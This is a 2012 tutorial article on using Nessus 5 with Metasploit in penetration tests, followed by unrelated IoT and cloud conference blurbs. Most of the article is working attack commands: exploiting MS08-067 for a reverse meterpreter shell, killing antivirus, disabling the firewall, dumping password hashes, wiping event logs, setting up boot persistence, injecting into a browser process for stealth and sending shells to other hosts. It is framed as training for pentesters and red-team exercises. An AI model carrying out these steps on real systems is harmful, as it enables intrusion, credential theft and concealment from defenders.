|By David Dodd||
|September 16, 2012 02:00 PM EDT||
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.
Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.
Figure #1 open web browser on https://localhost:8834
Figure #2 Select Metasploit Exploit Framework from the drop down
To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.
Figure #3 Report gives what exploit in Metasploit can be used successfully on the box
You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.
msf > load nessus
Once the plugins are loaded connect to the server.
msf > nessus_connect cr0wn:password@localhost ok
Now show the available plugins with the nessus_policy_list command (see Figure #4).
Figure #4 nessus_policy_list
You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.
Figure #5 nessus_scan_new
Basic Exploitation using Metasploit
At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:
msf > use exploit/windows/smb/ms08_067_netapi
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit
Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.
meterpreter > run checkvm
This will show you the help menu with options, choose -d to disable built in firewall.
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d
To kill most antivirus, run the ‘killav' script.
meterpreter > run killav
To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script
meterpreter > run get_local_subnets
You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.
meterpreter > search -h
meterpreter > search -f *.pdf
To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.
meterpreter > run winenum
meterpreter > run scraper
Figure #6 winenum command
Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:
log = client.sys.enentlog.open(‘system')
meterpreter > irb
[*] Starting IRB shell
[*] The ‘client' variable holds the meterpreter client
>> log = client.sys.eventlog.open(‘system')
While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').
Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.
The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.
Meterpreter > run persistence -h
Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180
This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.180
msf > set lport 5555
msf > exploit
The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.
meterpreter > ps
Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).
Figure #7 ps command
Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.
meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664
This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).
Figure #8 Recipient of meterpreter shell using multi_meter_inject
Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).
Figure #9 tasklist command
Figure #10 netstat -an command
A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:
meterpreter > run duplicate -h
This will give you the various options.
meterpreter > run duplicate -r 10.10.3.180
This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).
Figure #11 Recipient of meterpreter shell using duplicate
You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.
meterpreter > run packetrecorder
This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.
meterpreter > run packetrecorder -i -l /home/tmp/
[*] Packet capture interval is 30 Seconds
The file can later be reviewed with wireshark or tcpdump.
"Matrix is an ambitious open standard and implementation that's set up to break down the fragmentation problems that exist in IP messaging and VoIP communication," explained John Woolf, Technical Evangelist at Matrix, in this SYS-CON.tv interview at @ThingsExpo, held Nov 4–6, 2014, at the Santa Clara Convention Center in Santa Clara, CA.
Oct. 13, 2015 07:00 AM EDT Reads: 6,009
As more intelligent IoT applications shift into gear, they’re merging into the ever-increasing traffic flow of the Internet. It won’t be long before we experience bottlenecks, as IoT traffic peaks during rush hours. Organizations that are unprepared will find themselves by the side of the road unable to cross back into the fast lane. As billions of new devices begin to communicate and exchange data – will your infrastructure be scalable enough to handle this new interconnected world?
Oct. 13, 2015 05:45 AM EDT
SYS-CON Events announced today that Super Micro Computer, Inc., a global leader in high-performance, high-efficiency server, storage technology and green computing, will exhibit at the 17th International Cloud Expo®, which will take place on November 3–5, 2015, at the Santa Clara Convention Center in Santa Clara, CA. Supermicro (NASDAQ: SMCI), the leading innovator in high-performance, high-efficiency server technology is a premier provider of advanced server Building Block Solutions® for Data Center, Cloud Computing, Enterprise IT, Hadoop/Big Data, HPC and Embedded Systems worldwide. Supermi...
Oct. 13, 2015 05:15 AM EDT Reads: 195
Nowadays, a large number of sensors and devices are connected to the network. Leading-edge IoT technologies integrate various types of sensor data to create a new value for several business decision scenarios. The transparent cloud is a model of a new IoT emergence service platform. Many service providers store and access various types of sensor data in order to create and find out new business values by integrating such data.
Oct. 13, 2015 04:00 AM EDT Reads: 681
Too often with compelling new technologies market participants become overly enamored with that attractiveness of the technology and neglect underlying business drivers. This tendency, what some call the “newest shiny object syndrome,” is understandable given that virtually all of us are heavily engaged in technology. But it is also mistaken. Without concrete business cases driving its deployment, IoT, like many other technologies before it, will fade into obscurity.
Oct. 13, 2015 03:00 AM EDT Reads: 258
There are so many tools and techniques for data analytics that even for a data scientist the choices, possible systems, and even the types of data can be daunting. In his session at @ThingsExpo, Chris Harrold, Global CTO for Big Data Solutions for EMC Corporation, will show how to perform a simple, but meaningful analysis of social sentiment data using freely available tools that take only minutes to download and install. Participants will get the download information, scripts, and complete end-to-end walkthrough of the analysis from start to finish. Participants will also be given the pract...
Oct. 13, 2015 03:00 AM EDT Reads: 405
WebRTC services have already permeated corporate communications in the form of videoconferencing solutions. However, WebRTC has the potential of going beyond and catalyzing a new class of services providing more than calls with capabilities such as mass-scale real-time media broadcasting, enriched and augmented video, person-to-machine and machine-to-machine communications. In his session at @ThingsExpo, Luis Lopez, CEO of Kurento, will introduce the technologies required for implementing these ideas and some early experiments performed in the Kurento open source software community in areas ...
Oct. 13, 2015 12:45 AM EDT Reads: 851
Electric power utilities face relentless pressure on their financial performance, and reducing distribution grid losses is one of the last untapped opportunities to meet their business goals. Combining IoT-enabled sensors and cloud-based data analytics, utilities now are able to find, quantify and reduce losses faster – and with a smaller IT footprint. Solutions exist using Internet-enabled sensors deployed temporarily at strategic locations within the distribution grid to measure actual line loads.
Oct. 13, 2015 12:00 AM EDT Reads: 273
“In the past year we've seen a lot of stabilization of WebRTC. You can now use it in production with a far greater degree of certainty. A lot of the real developments in the past year have been in things like the data channel, which will enable a whole new type of application," explained Peter Dunkley, Technical Director at Acision, in this SYS-CON.tv interview at @ThingsExpo, held Nov 4–6, 2014, at the Santa Clara Convention Center in Santa Clara, CA.
Oct. 12, 2015 11:15 PM EDT Reads: 7,127
The Internet of Everything is re-shaping technology trends–moving away from “request/response” architecture to an “always-on” Streaming Web where data is in constant motion and secure, reliable communication is an absolute necessity. As more and more THINGS go online, the challenges that developers will need to address will only increase exponentially. In his session at @ThingsExpo, Todd Greene, Founder & CEO of PubNub, will explore the current state of IoT connectivity and review key trends and technology requirements that will drive the Internet of Things from hype to reality.
Oct. 12, 2015 10:15 PM EDT Reads: 313
There will be 20 billion IoT devices connected to the Internet soon. What if we could control these devices with our voice, mind, or gestures? What if we could teach these devices how to talk to each other? What if these devices could learn how to interact with us (and each other) to make our lives better? What if Jarvis was real? How can I gain these super powers? In his session at 17th Cloud Expo, Chris Matthieu, co-founder and CTO of Octoblu, will show you!
Oct. 12, 2015 08:45 PM EDT Reads: 273
Today’s connected world is moving from devices towards things, what this means is that by using increasingly low cost sensors embedded in devices we can create many new use cases. These span across use cases in cities, vehicles, home, offices, factories, retail environments, worksites, health, logistics, and health. These use cases rely on ubiquitous connectivity and generate massive amounts of data at scale. These technologies enable new business opportunities, ways to optimize and automate, along with new ways to engage with users.
Oct. 12, 2015 06:00 PM EDT Reads: 262
Through WebRTC, audio and video communications are being embedded more easily than ever into applications, helping carriers, enterprises and independent software vendors deliver greater functionality to their end users. With today’s business world increasingly focused on outcomes, users’ growing calls for ease of use, and businesses craving smarter, tighter integration, what’s the next step in delivering a richer, more immersive experience? That richer, more fully integrated experience comes about through a Communications Platform as a Service which allows for messaging, screen sharing, video...
Oct. 12, 2015 05:30 PM EDT Reads: 1,227
With major technology companies and startups seriously embracing IoT strategies, now is the perfect time to attend @ThingsExpo in Silicon Valley. Learn what is going on, contribute to the discussions, and ensure that your enterprise is as "IoT-Ready" as it can be! Internet of @ThingsExpo, taking place Nov 3-5, 2015, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 17th Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world. The Internet of Things (IoT) is the most profound change in personal an...
Oct. 12, 2015 04:30 PM EDT Reads: 195
WebRTC converts the entire network into a ubiquitous communications cloud thereby connecting anytime, anywhere through any point. In his session at WebRTC Summit,, Mark Castleman, EIR at Bell Labs and Head of Future X Labs, will discuss how the transformational nature of communications is achieved through the democratizing force of WebRTC. WebRTC is doing for voice what HTML did for web content.
Oct. 12, 2015 03:00 PM EDT Reads: 1,489
SYS-CON Events announced today that Sandy Carter, IBM General Manager Cloud Ecosystem and Developers, and a Social Business Evangelist, will keynote at the 17th International Cloud Expo®, which will take place on November 3–5, 2015, at the Santa Clara Convention Center in Santa Clara, CA.
Oct. 12, 2015 03:00 PM EDT Reads: 245
As a company adopts a DevOps approach to software development, what are key things that both the Dev and Ops side of the business must keep in mind to ensure effective continuous delivery? In his session at DevOps Summit, Mark Hydar, Head of DevOps, Ericsson TV Platforms, will share best practices and provide helpful tips for Ops teams to adopt an open line of communication with the development side of the house to ensure success between the two sides.
Oct. 12, 2015 01:00 PM EDT Reads: 692
The Internet of Things (IoT) is growing rapidly by extending current technologies, products and networks. By 2020, Cisco estimates there will be 50 billion connected devices. Gartner has forecast revenues of over $300 billion, just to IoT suppliers. Now is the time to figure out how you’ll make money – not just create innovative products. With hundreds of new products and companies jumping into the IoT fray every month, there’s no shortage of innovation. Despite this, McKinsey/VisionMobile data shows "less than 10 percent of IoT developers are making enough to support a reasonably sized team....
Oct. 12, 2015 01:00 PM EDT Reads: 337
The IoT market is on track to hit $7.1 trillion in 2020. The reality is that only a handful of companies are ready for this massive demand. There are a lot of barriers, paint points, traps, and hidden roadblocks. How can we deal with these issues and challenges? The paradigm has changed. Old-style ad-hoc trial-and-error ways will certainly lead you to the dead end. What is mandatory is an overarching and adaptive approach to effectively handle the rapid changes and exponential growth.
Oct. 12, 2015 12:00 PM EDT Reads: 332
Today air travel is a minefield of delays, hassles and customer disappointment. Airlines struggle to revitalize the experience. GE and M2Mi will demonstrate practical examples of how IoT solutions are helping airlines bring back personalization, reduce trip time and improve reliability. In their session at @ThingsExpo, Shyam Varan Nath, Principal Architect with GE, and Dr. Sarah Cooper, M2Mi's VP Business Development and Engineering, will explore the IoT cloud-based platform technologies driving this change including privacy controls, data transparency and integration of real time context w...
Oct. 12, 2015 12:00 PM EDT Reads: 296